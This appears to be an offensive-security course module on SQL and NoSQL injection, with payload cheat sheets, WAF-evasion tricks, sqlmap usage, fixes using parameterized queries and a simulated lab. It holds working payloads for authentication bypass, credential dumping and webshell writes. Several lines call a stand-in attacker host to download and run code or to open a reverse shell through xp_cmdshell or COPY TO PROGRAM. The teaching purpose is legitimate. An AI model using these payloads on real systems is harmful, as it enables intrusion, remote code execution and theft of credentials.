← Return to Ledger
MODULE_08 // SERVER-SIDE INJECTION

SQL Injection (SQLi)

Difficulty Intermediate
Read time ~45 min
Labs 5 sandbox modes + 8 drills
0/8 complete

OPERATIONAL OBJECTIVE

SQL Injection breaks the boundary between data and code. By escaping query syntax boundaries, you force the database engine to execute attacker-controlled logic — bypassing authentication, dumping tables, reading files, and in optimal conditions, gaining OS-level command execution. This chapter covers the full attack surface: every injection class, every database dialect, automation with sqlmap, and the modern NoSQL parallel.

What SQL Injection Actually Is #

Web applications store everything in databases: user accounts, products, orders, messages. When you log in, search, or filter data, the application builds a SQL query using your input. The vulnerability exists when that input is concatenated directly into the query string rather than being passed as a separate parameter.

The database engine receives the final string and executes it. It has no way to distinguish between the developer's intended logic and the attacker's injected logic. It executes both. This is the root cause — not insufficient filtering, not "bad characters," but the architectural failure of mixing data and code in the same string.

SEVERITY CONTEXT

SQLi has appeared in the OWASP Top 10 continuously since 2003. Responsible for the Heartland Payment Systems breach (130 million cards, 2008), TalkTalk (4 million records, 2015), and thousands of others. In bug bounty, confirmed SQLi on a production database is almost always Critical severity — it gives an attacker access to the entire data layer of the application.

The Root Cause — String Concatenation #

The developer intends to run this query, where the user's search input is safely embedded as a value:

Developer's Intent SELECT * FROM products WHERE name = 'shoes'

Their code looks like this:

Vulnerable Code — Python / PHP / Node (same pattern)# Python — VULNERABLE
query = "SELECT * FROM products WHERE name = '" + user_input + "'"

// PHP — VULNERABLE
$query = "SELECT * FROM users WHERE username = '" . $_POST['user'] . "'";

// Node.js — VULNERABLE
const q = `SELECT * FROM users WHERE id = ${req.params.id}`;

When an attacker submits shoes' OR '1'='1, the concatenated string becomes:

Mutated Query — Attacker Controlled SELECT * FROM products WHERE name = 'shoes' OR '1'='1'

The single quote ' terminated the developer's string literal. Everything after it is raw SQL. The OR '1'='1' condition is always true — the WHERE clause is neutralised and every row is returned. The single quote is called the break character because it breaks out of the string context.

Injection Point Contexts #

Where your input lands in the query determines your break character and available techniques. Never assume string context — test all of them.

String Context (most common)
-- Template:
WHERE username = '[INPUT]'

-- Break char: '
-- Test: ' (causes error)
-- Test: '' (escaped — no error)
Numeric Context
-- Template:
WHERE id = [INPUT]

-- No quotes, direct injection
-- Test: 1 AND 1=1  (true, normal)
-- Test: 1 AND 1=2  (false, diff response)
ORDER BY Context
-- Template:
ORDER BY [INPUT]

-- No quotes, no UNION possible
-- CASE WHEN for blind:
ORDER BY (CASE WHEN (1=1)
  THEN name ELSE price END)
Second-Order (Stored)
-- Input sanitized on entry,
-- stored safely in DB.
-- Retrieved later and used
-- in a new query WITHOUT
-- re-sanitization. Hardest
-- to detect, hardest to fix.
ContextTemplateBreak CharNotes
StringWHERE name = '[x]''Most common. Single or double quote depending on dialect.
NumericWHERE id = [x]NoneInject operators directly. Test: 1 AND 1=1 vs 1 AND 1=2.
LIKEWHERE email LIKE '%[x]%''% and _ are wildcards here — can cause unexpected enumeration or DoS.
IN clauseWHERE id IN ('[x]')'Try escaping the parenthesis too: ') OR 1=1 --
ORDER BYORDER BY [x]NoneUNION doesn't work. Use conditional expressions for blind extraction.
Second-orderStored then re-used'Register as admin'--. Fires when username is used in a second query.

Full Classification System #

In-Band: Error-Based

Force the database to throw an error that leaks data in its error message. The error message itself is your exfiltration channel.

MySQL — extractvalue() error-based extraction-- The XPath function causes an error containing the value you want:
' AND extractvalue(1, concat(0x7e, (SELECT version()))) --

-- Error returned:
XPATH syntax error: '~8.0.32'    ← database version leaked

-- Extract current database name:
' AND extractvalue(1, concat(0x7e, (SELECT database()))) --

-- Extract first table name:
' AND extractvalue(1, concat(0x7e,
  (SELECT table_name FROM information_schema.tables
   WHERE table_schema=database() LIMIT 0,1))) --

In-Band: UNION-Based

Append a second SELECT to the original query. Your SELECT's results are returned alongside the original query's output — displayed directly in the page.

UNION Extraction — Step-by-step methodology-- STEP 1: Find column count (increment until no error)
' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 --    ← error here means 2 columns

-- STEP 2: Confirm with NULL (compatible with any data type)
' UNION SELECT NULL, NULL --

-- STEP 3: Find which column is reflected in the page
' UNION SELECT 'MREGG_TEST', NULL --
' UNION SELECT NULL, 'MREGG_TEST' --   ← 'MREGG_TEST' appears on page = this col

-- STEP 4: Extract database metadata
' UNION SELECT schema_name, NULL FROM information_schema.schemata --

-- STEP 5: List tables in target database
' UNION SELECT table_name, NULL FROM information_schema.tables
  WHERE table_schema = database() --

-- STEP 6: List columns in target table
' UNION SELECT column_name, NULL FROM information_schema.columns
  WHERE table_name = 'users' --

-- STEP 7: Dump the data
' UNION SELECT username, password FROM users --

-- Concatenate multiple values into one column:
' UNION SELECT CONCAT(username,':',password), NULL FROM users --

Blind: Boolean-Based

No data is reflected on screen. You ask the database a yes/no question and observe whether the page response changes (different content, different length, different status code).

Boolean-Based Blind — Character extraction via binary search-- Does the database name start with 's'?
' AND SUBSTRING(database(), 1, 1) = 's' --
→ TRUE:  page loads normally
→ FALSE: page shows error or empty content

-- Binary search with ASCII values (faster than alphabet guessing):
' AND ASCII(SUBSTRING(database(), 1, 1)) > 109 --   → TRUE (> 'm')
' AND ASCII(SUBSTRING(database(), 1, 1)) > 116 --   → FALSE
' AND ASCII(SUBSTRING(database(), 1, 1)) > 112 --   → TRUE
' AND ASCII(SUBSTRING(database(), 1, 1)) > 114 --   → FALSE
' AND ASCII(SUBSTRING(database(), 1, 1)) = 113 --   → wait... try 115
' AND ASCII(SUBSTRING(database(), 1, 1)) = 115 --   → TRUE → 's'

-- Repeat for each character position until full string is reconstructed
-- This is why sqlmap exists.

Blind: Time-Based

When boolean gives no observable signal (page response is identical regardless of true/false), use conditional time delays. Response time becomes your one-bit data channel.

Time-Based Blind — Database-specific syntax-- MySQL:
' AND IF(1=1, SLEEP(5), 0) --           ← 5s delay if condition TRUE
' AND IF(1=2, SLEEP(5), 0) --           ← instant if FALSE

-- Extract data via timing:
' AND IF(SUBSTRING(database(),1,1)='s', SLEEP(3), 0) --

-- PostgreSQL:
'; SELECT CASE WHEN (username='admin') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users --

-- MSSQL:
'; IF (SELECT COUNT(*) FROM users WHERE username='admin') > 0 WAITFOR DELAY '0:0:5' --

-- Oracle:
' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('RDS$',5) --

Out-of-Band

Data is exfiltrated via a completely separate channel — DNS or HTTP. Used when in-band and blind techniques produce no signal at all. Requires outbound network connectivity from the database server.

Out-of-Band — DNS exfiltration via Burp Collaborator / interactsh-- MySQL (requires FILE privilege):
' UNION SELECT LOAD_FILE(CONCAT('\\\\',
  (SELECT password FROM users LIMIT 1),
  '.your-collaborator-id.oastify.com\\x'
)) --
→ Target server makes DNS lookup to: [password-hash].your-collaborator-id.oastify.com
→ You capture it in Burp Collaborator client

-- MSSQL (via xp_dirtree — very reliable):
'; EXEC master..xp_dirtree '\\your-collaborator-id.oastify.com\a' --

Database Dialect Reference #

SQL syntax differs between database engines. A payload that works on MySQL will not work on Oracle. Fingerprint the backend database first, then use the appropriate syntax.

Fingerprinting Queries

Detect database type via syntax differences-- MySQL specific (# comment, no FROM required):
' AND 1=1 #
' AND SLEEP(0) #

-- PostgreSQL (:: cast operator):
' AND 1=1::integer --

-- MSSQL (@@variable syntax):
' AND @@version > 0 --

-- Oracle (requires FROM dual, pipes for concat):
' AND 1=1 FROM dual --
' AND 'a'||'b' = 'ab' FROM dual --

-- Version string (confirms database type):
' UNION SELECT @@version, NULL --          MySQL / MSSQL
' UNION SELECT version(), NULL --          PostgreSQL
' UNION SELECT banner, NULL FROM v$version -- Oracle
MySQL
PostgreSQL
MSSQL
Oracle
MySQL Cheatsheet-- Comments:           -- comment   OR  # comment   OR  /*comment*/
-- String concat:       CONCAT(a, b, c)
-- Version:             @@version  OR  version()
-- Current database:   database()
-- All databases:       SELECT schema_name FROM information_schema.schemata
-- All tables:          SELECT table_name FROM information_schema.tables WHERE table_schema=database()
-- All columns:         SELECT column_name FROM information_schema.columns WHERE table_name='users'
-- Sleep:               SLEEP(5)
-- Read file:           LOAD_FILE('/etc/passwd')   (requires FILE privilege)
-- Write file:          SELECT '' INTO OUTFILE '/var/www/shell.php'
-- Stacked queries:    YES  (with ;)
-- Conditional comment:/*!UNION*/ /*!SELECT*/  (executed by MySQL, ignored by WAFs)
PostgreSQL Cheatsheet-- Comments:           -- comment   OR  /*comment*/
-- String concat:       a || b
-- Version:             version()
-- Current database:   current_database()
-- All databases:       SELECT datname FROM pg_database
-- All tables:          SELECT table_name FROM information_schema.tables WHERE table_schema='public'
-- All columns:         SELECT column_name FROM information_schema.columns WHERE table_name='users'
-- Sleep:               pg_sleep(5)  →  SELECT 1 FROM pg_sleep(5)
-- Stacked queries:    YES  (with ;)
-- RCE via COPY:       '; COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/shell.sh|bash' --
-- Cast operator:      1::integer   'a'::text   (useful for type confusion payloads)
MSSQL (SQL Server) Cheatsheet-- Comments:           -- comment
-- String concat:       a + b
-- Version:             @@version
-- Current database:   db_name()
-- All databases:       SELECT name FROM master..sysdatabases
-- All tables:          SELECT table_name FROM information_schema.tables
-- All columns:         SELECT column_name FROM information_schema.columns WHERE table_name='users'
-- Sleep:               WAITFOR DELAY '0:0:5'
-- Stacked queries:    YES  (with ;)
-- Enable xp_cmdshell:
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE; --
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; --
-- RCE:
'; EXEC xp_cmdshell 'whoami' --
'; EXEC xp_cmdshell 'certutil -urlcache -f http://attacker.com/shell.exe C:\s.exe && C:\s.exe' --
Oracle Cheatsheet-- Comments:           -- comment
-- String concat:       a || b
-- Version:             SELECT banner FROM v$version
-- Current database:   SELECT global_name FROM global_name
-- All tables:          SELECT table_name FROM all_tables
-- All columns:         SELECT column_name FROM all_columns WHERE table_name='USERS'
-- Sleep:               dbms_pipe.receive_message('x',5)
-- Stacked queries:    NO  (major limitation)
-- FROM dual required: SELECT 1 FROM dual  (all SELECTs need FROM clause)
-- UNION syntax:
' UNION SELECT NULL FROM dual --
' UNION SELECT NULL, NULL FROM dual --

Authentication Bypass Patterns #

These payloads manipulate login query logic. They require zero knowledge of valid credentials — only access to the login form.

Authentication Bypass Payload Library-- Classic: comment terminates password check
Username: admin' --
Username: admin'#                  (MySQL # comment)
Username: admin'/*

-- Tautology: forces true condition, returns first row (usually admin)
Username: ' OR 1=1 --
Username: ' OR '1'='1
Username: ' OR 'x'='x
Username: ' OR 1=1 LIMIT 1 --       (return only first row)

-- Both fields injected:
Username: ' OR '1'='1
Password: ' OR '1'='1

-- Target specific account without knowing password:
Username: admin' AND '1'='1          (requires admin to exist)

-- Bypass MD5/hash comparison via always-true in hash column:
Username: admin
Password: ' OR 1=1 --

-- The resulting query:
SELECT * FROM users WHERE username='admin' AND password='' OR 1=1 --'
→ OR 1=1 fires regardless of password hash check → login succeeds

The information_schema — Your Roadmap #

In MySQL, PostgreSQL, and MSSQL, information_schema is a built-in metadata database containing the structure of all other databases. It is your roadmap from initial injection to data extraction.

📁 information_schema
📋 schemata → all database names
📋 tables → all table names (with table_schema, table_type)
└─ table_schema, table_name, table_type, ...
📋 columns → all column names and data types
└─ table_schema, table_name, column_name, data_type, ...
📋 user_privileges → database user permissions
📁 target_database
📋 users
└─ id, username, password, email, role, ...
📋 orders
📋 payment_cards
Full Extraction Workflow — UNION-Based-- 1. List all databases on the server:
' UNION SELECT schema_name, NULL FROM information_schema.schemata --

-- 2. List all tables in the current database:
' UNION SELECT table_name, NULL FROM information_schema.tables
  WHERE table_schema = database() --

-- 3. List all columns in target table:
' UNION SELECT column_name, data_type FROM information_schema.columns
  WHERE table_name = 'users' --

-- 4. Dump target data:
' UNION SELECT username, password FROM users --

-- 5. Concatenate everything into single output column:
' UNION SELECT CONCAT(id,':',username,':',password,':',email), NULL FROM users --

-- 6. Check current user privileges (can we read/write files?):
' UNION SELECT grantee, privilege_type FROM information_schema.user_privileges --

WAF Bypass Techniques #

When a straightforward payload is blocked by a WAF, encoding and syntax mutation are your first tools. Never conclude a parameter is safe after a single blocked attempt.

WAF Bypass Payload Mutations-- Case variation (most WAF rules are case-sensitive):
UNION SELECT  →  uNiOn SeLeCt  →  UnIoN%20SeLeCt

-- Inline comments as whitespace (MySQL processes these):
UNION/**/SELECT/**/username,password/**/FROM/**/users--
UN/**/ION SEL/**/ECT  (split keyword across comment)

-- MySQL conditional comment (executed by MySQL, ignored by WAF):
/*!UNION*/ /*!SELECT*/ username FROM users --

-- URL encoding:
'%20OR%20'1'%3D'1
%27%20OR%20%271%27%3D%271

-- Double URL encoding (bypass decode-then-check filters):
%2527  (double-encoded quote)

-- Whitespace alternatives (tab, newline, carriage return):
UNION%09SELECT%09username    (%09 = tab)
UNION%0ASELECT%0Ausername    (%0A = newline)
UNION%0DSELECT%0Dusername    (%0D = CR)

-- Scientific notation in numeric contexts (MySQL):
1e0 UNION SELECT ...   (1e0 = 1, but looks different to WAF)

-- HTTP Parameter Pollution:
?id=1&id=2 UNION SELECT...
(some WAFs check first value only; app may use last value)

-- Encoding change (from URL query to JSON body):
WAF may not parse JSON body. Switch Content-Type and move injection there.

THE MUTATION RULE

When blocked: do not immediately change the payload. First exhaust every encoding and syntax variation of the same payload. A WAF blocking UNION SELECT may not block UNION/**/SELECT, uNiOn SeLeCt, or /*!UNION*/ /*!SELECT*/. Systematic mutation before payload replacement is the professional approach.

SQLi → RCE — The Escalation Path #

In specific database configurations, SQL Injection can escalate to full Remote Code Execution. This is the highest-severity outcome and must be documented carefully in reports.

MySQL — File write to webshell (requirements: FILE privilege + write access to webroot)-- Confirm FILE privilege first:
' UNION SELECT grantee, privilege_type FROM information_schema.user_privileges
  WHERE privilege_type = 'FILE' --

-- Write PHP webshell to web root:
' UNION SELECT "", NULL
  INTO OUTFILE '/var/www/html/shell.php' --

-- Access it:
https://target.com/shell.php?cmd=id
https://target.com/shell.php?cmd=cat /etc/passwd
MSSQL — xp_cmdshell for OS command execution-- Step 1: Enable xp_cmdshell (if disabled — requires sysadmin role):
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; --
'; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; --

-- Step 2: Execute OS commands:
'; EXEC xp_cmdshell 'whoami' --
'; EXEC xp_cmdshell 'ipconfig' --

-- Step 3: Download + execute reverse shell:
'; EXEC xp_cmdshell
  'certutil -urlcache -f http://attacker.com/shell.exe C:\Windows\Temp\s.exe' --
'; EXEC xp_cmdshell 'C:\Windows\Temp\s.exe' --
PostgreSQL — COPY TO PROGRAM-- Requires superuser or pg_execute_server_program role:
'; COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/shell.sh | bash' --

-- Reverse shell one-liner:
'; COPY (SELECT '') TO PROGRAM
  'bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"' --

RESPONSIBLE DISCLOSURE NOTE

If you confirm SQLi → RCE on a bug bounty target: stop at confirmation. Do not run system commands beyond id or whoami. Do not exfiltrate data. Take a screenshot of the SQL error or the reflected injected value as proof. Demonstrating RCE capability without actually exploiting it is both ethically correct and produces a stronger, cleaner report. Programs will not pay more for you having read their database — they'll pay the same for the confirmed vulnerability class.

NoSQL Injection — The Modern Parallel #

As applications migrated from relational databases to NoSQL databases (MongoDB, CouchDB, Redis), a parallel injection class emerged. The concept is identical — user input manipulates query logic — but the syntax is completely different.

MongoDB Operator Injection

MongoDB queries accept JSON objects with special operator keys. If user input is inserted into a query without type checking, an attacker can supply an operator object instead of a string value.

Vulnerable Node.js + MongoDB login// Vulnerable code:
db.users.find({ username: req.body.username, password: req.body.password })

// Legitimate request body:
{ "username": "admin", "password": "hunter2" }

// Injected request body ($ne = not equal):
{ "username": "admin", "password": { "$ne": "" } }
→ Finds user 'admin' where password != '' → always true → bypass

// More operators:
{ "username": { "$regex": ".*" }, "password": { "$ne": "" } }   // any user
{ "username": { "$gt": "" },     "password": { "$ne": "" } }   // gt empty string
{ "username": "admin", "password": { "$gt": "" } }

// $where clause injection (JavaScript execution in MongoDB < 4.4):
{ "$where": "this.password.match(/^a/)" }   // does password start with 'a'?
// Iterate for every character → blind boolean enumeration
NoSQL injection via URL parameters (PHP)// Normal request:
GET /login?username=admin&password=hunter2

// Injected (PHP array notation):
GET /login?username=admin&password[$ne]=invalid
GET /login?username[$regex]=.*&password[$ne]=invalid
GET /login?username[$gt]=&password[$ne]=

DETECTION TIP

To test for NoSQL injection: if the endpoint accepts JSON, try replacing a string value with {"$gt":""} or {"$ne":"x"}. If the application returns different results (especially a successful login or additional data), NoSQL injection is confirmed. Also try adding a $where key at the top level of a JSON body — if it causes an error, the MongoDB query is accepting raw operators.

sqlmap — Automation Reference #

sqlmap is the industry-standard open-source tool for automated SQLi detection and exploitation. Know it deeply — both for its capabilities and for its limitations.

sqlmap — Core Usage Patterns# Test a URL GET parameter:
sqlmap -u "https://target.com/product?id=5" --dbs

# Test POST body parameter:
sqlmap -u "https://target.com/login" \
  --data="username=admin&password=test" \
  -p username --dbs

# From Burp-saved request file (most reliable method):
# In Burp: right-click request → Save item → request.txt
sqlmap -r request.txt --dbs

# Target specific database and table:
sqlmap -r request.txt -D target_db -T users --dump

# Dump everything (use carefully — noisy):
sqlmap -r request.txt --dump-all

# Route through Burp proxy (for traffic inspection):
sqlmap -r request.txt --proxy=http://127.0.0.1:8080 --dbs

# WAF bypass with tamper scripts:
sqlmap -r request.txt \
  --tamper=space2comment,between,randomcase \
  --level=5 --risk=3 --dbs

# Attempt OS shell (if conditions allow — use with caution):
sqlmap -r request.txt --os-shell

# Non-interactive batch mode:
sqlmap -r request.txt --dbs --batch --random-agent
Flag
Effect
--dbs
List all accessible databases on the server
-D [name]
Target a specific database
-T [name]
Target a specific table within the database
--dump
Dump all data from target table
--dump-all
Dump every table in every database (very noisy)
--level=5
Maximum test depth — tests headers, cookies, more parameters
--risk=3
Maximum risk payloads — includes heavy blind tests, OR-based (may modify data)
--technique=T
Use only time-based blind (B=boolean, E=error, U=union, S=stacked, T=time, Q=inline)
--tamper=x
Apply tamper script for WAF bypass (comma-separate multiple)
--random-agent
Randomize User-Agent on each request
--batch
Auto-answer all prompts — non-interactive mode
--forms
Auto-detect and test all form fields on the page
--crawl=2
Spider the site 2 levels deep before testing
--os-shell
Attempt OS command shell (MySQL OUTFILE or MSSQL xp_cmdshell)
--second-url
URL where second-order injection result appears
-p [param]
Force testing of specific parameter only

Common Tamper Scripts

Tamper script referencespace2comment     → replaces spaces with /**/ comments
between           → replaces > and < with BETWEEN alternatives
randomcase        → randomizes keyword casing (SeLeCt)
charencode        → URL-encodes characters
charunicodeencode → Unicode-encodes characters
base64encode      → base64-encodes the payload
equaltolike       → replaces = with LIKE
apostrophemask    → replaces ' with UTF-8 apostrophe
greatest          → replaces > with GREATEST()
ifnull2ifisnull   → replaces IFNULL with IF(ISNULL)

# Stack multiple tampers:
--tamper=space2comment,between,randomcase,charencode

Prevention — Why Parameterized Queries Work #

Understanding the fix deepens your understanding of the attack and makes your bug reports more credible. Parameterized queries (prepared statements) are the only real solution.

The Fix — Parameterized Queries in 4 Languages# Python (psycopg2 / sqlite3) — SECURE
cursor.execute(
  "SELECT * FROM users WHERE username = %s AND password = %s",
  (username, password)   ← data passed separately, never in the string
)

// PHP PDO — SECURE
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :user");
$stmt->execute(['user' => $username]);

// Java PreparedStatement — SECURE
PreparedStatement ps = conn.prepareStatement(
  "SELECT * FROM users WHERE username = ?"
);
ps.setString(1, username);  ← ? placeholder bound separately

// Node.js (mysql2) — SECURE
connection.execute(
  "SELECT * FROM users WHERE username = ?",
  [username],
  (err, results) => { ... }
);

The key: the query structure is compiled first, before any data is supplied. The database receives the structure and data in separate channels. No matter what the user submits — even ' OR '1'='1 — it is treated as a literal string value, never as SQL syntax. The break character loses all meaning.

Interactive Lab — SQL Injection Sandbox #

Five lab modes covering every injection class. Use the payload hint tags or write your own. The query preview updates live so you can see exactly how your input mutates the backend SQL.

⬡ SQLi Runtime Environment ENGINE: SQLite (simulated) / STATUS: ACTIVE
① Auth Bypass
② UNION Extraction
③ Boolean Blind
④ Time-Based Blind
⑤ NoSQL Injection
Scenario
A login form submits username and password. The backend concatenates your input directly into the query. Your goal: gain access as admin without knowing the password.
Live Backend Query
SELECT * FROM accounts WHERE user = '' AND pass = 'PASSWORD';
Hints: admin' -- OR 1=1 OR '1'='1 admin'# (MySQL)
Database Response
Awaiting payload...
Scenario
A product catalog page shows items based on a category parameter. Data is reflected directly on screen. Your goal: discover the column count, then dump usernames and password hashes from a hidden secret_creds table.
Live Backend Query
SELECT id, product, price FROM catalog WHERE category = '';
Hints: ORDER BY 3 ORDER BY 4 UNION NULL test List tables Dump creds
Database Response
Awaiting payload...
Scenario
A user lookup endpoint returns "User found" or "No user" — nothing else. No data is reflected. Your goal: use boolean conditions to extract the admin password character by character. The admin password is a hidden value — guess it using conditional queries.
Live Backend Query
SELECT * FROM users WHERE id = '';
Hints: AND 1=1 (true) AND 1=2 (false) password[0]='s' ASCII binary search
Application Response
Awaiting payload...
Scenario
This endpoint returns the same response regardless of your input — boolean gives no signal. The only way to extract data is through conditional time delays. A simulated response timer shows you when the delay fires.
Live Backend Query
SELECT * FROM products WHERE id = '';
Hints: SLEEP(3) unconditional IF true → sleep IF false → no sleep Extract char via timing
Response time: waiting...
Application Response
Awaiting payload...
Scenario
A Node.js + MongoDB API login endpoint. The body is parsed as JSON and passed directly into a db.users.find() call. Your goal: bypass authentication using MongoDB operator injection.
Live Backend Query (MongoDB)
db.users.find({ username: "admin", password: "[your input]" })
Send JSON body — edit the password field value:
POST /api/login
Content-Type: application/json

{
  "username": "admin",
  "password": "hunter2"
}
Hints: Normal password {"$ne":""} {"$gt":""} {"$regex":".*"}
API Response
Awaiting payload...

Chapter 8 — Operational Drills #

PortSwigger Web Security Academy
DVWA + sqlmap
Knowledge Verification
Check 01 — Break Character Mechanics

Explain precisely why a single quote ' causes SQL injection in a string context. Why does the same character have no effect in a numeric context? What would you submit instead to test a numeric parameter?

Check 02 — UNION Prerequisites

You want to run ' UNION SELECT username, password FROM users -- but get an error. Walk through the two conditions that must be true for UNION to work, and describe the methodology you'd use to determine the correct column count and data types.

Check 03 — Blind Signal Selection

You inject ' AND SLEEP(5) -- into a parameter and the response takes 5 seconds. You then try ' AND IF(1=1,SLEEP(5),0) -- and it also delays 5 seconds. Then ' AND IF(1=2,SLEEP(5),0) -- — no delay. What does this confirm? How would you now extract the first character of the database name using this channel?

Check 04 — NoSQL vs SQL

A MongoDB login endpoint accepts JSON. You send {"username":"admin","password":{"$ne":""}} and get a successful login response. Explain what the $ne operator did to the query logic, and name two other MongoDB operators you would try next to enumerate usernames.